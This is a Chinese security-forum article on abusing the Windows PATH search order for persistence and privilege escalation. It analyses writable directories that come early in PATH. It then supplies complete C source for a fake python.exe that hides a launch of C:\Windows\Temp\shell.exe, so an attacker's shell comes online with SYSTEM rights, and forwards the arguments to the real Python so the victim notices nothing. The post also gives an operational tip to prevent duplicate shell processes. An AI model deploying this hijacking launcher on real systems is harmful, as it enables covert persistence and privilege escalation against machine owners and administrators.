windows环境变量滥用维权/提权

camer   ·   发表于 2023-08-30 14:00:26   ·   技术文章

0x01 前提

通过滥用系统的路径搜索机制来欺骗高权限用户执行看似合法的系统二进制文件,实际上是恶意的代码或程序,从而导致升权限并执行恶意操作。

攻击的关键前提:

  1. 路径搜索顺序: 当用户在命令行或程序中执行一个命令时,系统会在环境变量$PATH定义的路径列表中搜索要执行的程序。它将从列表中的第一个路径开始搜索,然后按顺序继续搜索,直到找到匹配的程序。
  2. 权限限制: 用户权限的差异是这种攻击的基础。攻击者通常需要两类用户:
    • 低权限用户(M): 拥有较低权限,只能访问和写入特定文件夹,例如c:\temp。
    • 高权限用户: 拥有系统管理员或其他高权限角色,能够执行敏感的系统命令和操作。
  3. 环境变量设置: 攻击者需要控制或能够修改低权限用户(M)的环境变量设置,尤其是$PATH变量。

0x02 原理分析

原理是利用操作系统环境变量设置的弱点来欺骗高权限用户执行恶意代码,从而实现权限提升。

正常情况系统的环境变量是从c:\Windows\system32开始遍历,如下所示:

但是,当存在于环境变量的路径在c:\Windows\system32之前,并且可由低权限用户 (M) 修改的时候,就会造成环境变量的滥用,例如(c:\Windows\temp变量路径滥用):

并且查看文件夹访问权限,是可以用户修改的,查询如下:

  • BUILTIN\Users:内置的用户组 “Users” 有以下权限:(CI):容器内项目,(S):同步访问,(WD):写入数据,(AD):添加数据,(X):执行文件。这意味着”Users”组可以读取、写入、添加、执行该文件夹内的项目。
  • BUILTIN\Administrators:内置的管理员组 “Administrators” 有:(F):完全控制权限。这意味着管理员可以完全控制该文件夹,包括修改权限。
  • NT AUTHORITY\SYSTEM:系统账户有:(F):完全控制权限。这允许系统账户对文件夹拥有完全控制。
  • CREATOR OWNER:文件或文件夹的创建者有:(OI)(CI)(IO)(F):对象的所有权,容器和继承的所有权,对象的访问权限,完全控制权限。这使得文件或文件夹的创建者拥有完全控制权限。
  • SAEDYQJKFJNNOFS\camer:用户”camer”有:(OI)(CI)(F):对象的所有权,容器和继承的所有权,完全控制权限。

当用户将恶意程序放在c:\Windows\temp目录下的时候,正常用户无论是Administrator还是SYSTEM调用,都会优先执行恶意程序,例如劫持的是cmd.exe,如下会被劫持执行计算器,如下所示:

0x03 利用思路

实际利用的时候还存在一个巨大的缺陷,就是系统核心命令使用了一个称为“系统目录优先级”的机制,即使你在环境变量中指定了其他目录,系统仍然会首先搜索系统目录(通常是C:\Windows\system32)中的可执行文件,以确保系统的稳定性和安全性。

所以说只能接劫持利用python、java、gcc等用户环境的环境变量滥用,才能实际利用。

恶意程序如下(劫持的python.exe):

#include <windows.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
      // 恶意程序
    wchar_t* Shell = L"C:\\Windows\\Temp\\shell.exe";

    HINSTANCE hInstance1 = ShellExecuteW(NULL, L"open", Shell, NULL, NULL, SW_HIDE);

      // 保证python程序能够正常执行
    if (argc >= 2) {
        const char* pythonPath = "C:\\Users\\camer\\AppData\\Local\\Programs\\Python\\Python39\\python.exe";

        // 构建调用Python脚本的命令
        char pythonCommand[4096]; // Increased buffer size to accommodate more arguments
        snprintf(pythonCommand, sizeof(pythonCommand), "%s %s", pythonPath, argv[1]);

        // 将额外的参数添加到 Python 命令中
        for (int i = 2; i < argc; ++i) {
            strcat(pythonCommand, " ");
            strcat(pythonCommand, argv[i]);
        }
        // 调用Python脚本
        system(pythonCommand);
    }
    return 0;
}

假设用户要使用管理员权限执行python文件,调用python执行命令(python文件随便让GPT生成的):

python 1.py greeting morning

执行成功会发现正常运行输出,但是实际后台执行恶意程序并上线成功,并且具有SYSTEM权限的,如下所示:

0x04 思考总结

普通用户权限调用python也会上线,并且最好shell添加防止进程多开的功能,不然后台容易都是马。

用户名金币积分时间理由
Track-魔方 600.00 0 2023-09-06 21:09:15 深度 200 普适 200 可读 200

打赏我,让我更有动力~

1 条回复   |  直到 2023-8-30 | 485 次浏览

Track-魔方
发表于 2023-8-30

本月奖金池已空,金币奖励将于下月发放,期待同学有更多好文章产出~

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.